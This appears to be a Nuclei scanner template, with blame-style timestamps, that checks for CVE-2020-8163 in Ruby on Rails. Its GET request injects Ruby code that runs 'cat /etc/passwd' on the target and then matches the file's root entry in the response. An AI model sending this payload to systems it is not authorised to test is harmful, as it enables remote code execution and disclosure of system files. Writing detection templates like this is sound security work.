2021-01-02 04:56:15 +00:00
|
|
|
id: CVE-2020-8163
|
2020-08-22 21:47:58 +00:00
|
|
|
|
|
|
|
info:
|
|
|
|
name: Potential Remote Code Execution on Rails
|
|
|
|
author: tim_koopmans
|
|
|
|
severity: high
|
|
|
|
description: Tests for ability to pass user parameters as local variables into partials
|
2022-04-22 10:38:41 +00:00
|
|
|
reference:
|
|
|
|
- https://correkt.horse/ruby/2020/08/22/CVE-2020-8163/
|
2022-05-17 09:18:12 +00:00
|
|
|
- https://hackerone.com/reports/304805
|
|
|
|
- https://groups.google.com/g/rubyonrails-security/c/hWuKcHyoKh0
|
|
|
|
- https://lists.debian.org/debian-lts-announce/2020/07/msg00013.html
|
2021-09-10 11:26:40 +00:00
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
|
2022-04-22 10:38:41 +00:00
|
|
|
cvss-score: 8.8
|
2021-09-10 11:26:40 +00:00
|
|
|
cve-id: CVE-2020-8163
|
|
|
|
cwe-id: CWE-94
|
2022-04-22 10:38:41 +00:00
|
|
|
tags: cve,cve2020,rails,rce
|
2020-08-22 21:47:58 +00:00
|
|
|
|
|
|
|
requests:
|
|
|
|
- method: GET
|
|
|
|
path:
|
|
|
|
- "{{BaseURL}}?IO.popen(%27cat%20%2Fetc%2Fpasswd%27).read%0A%23"
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|
|
|
|
- type: regex
|
|
|
|
regex:
|
2021-07-24 21:35:55 +00:00
|
|
|
- "root:.*:0:0:"
|
2020-08-22 21:47:58 +00:00
|
|
|
part: body
|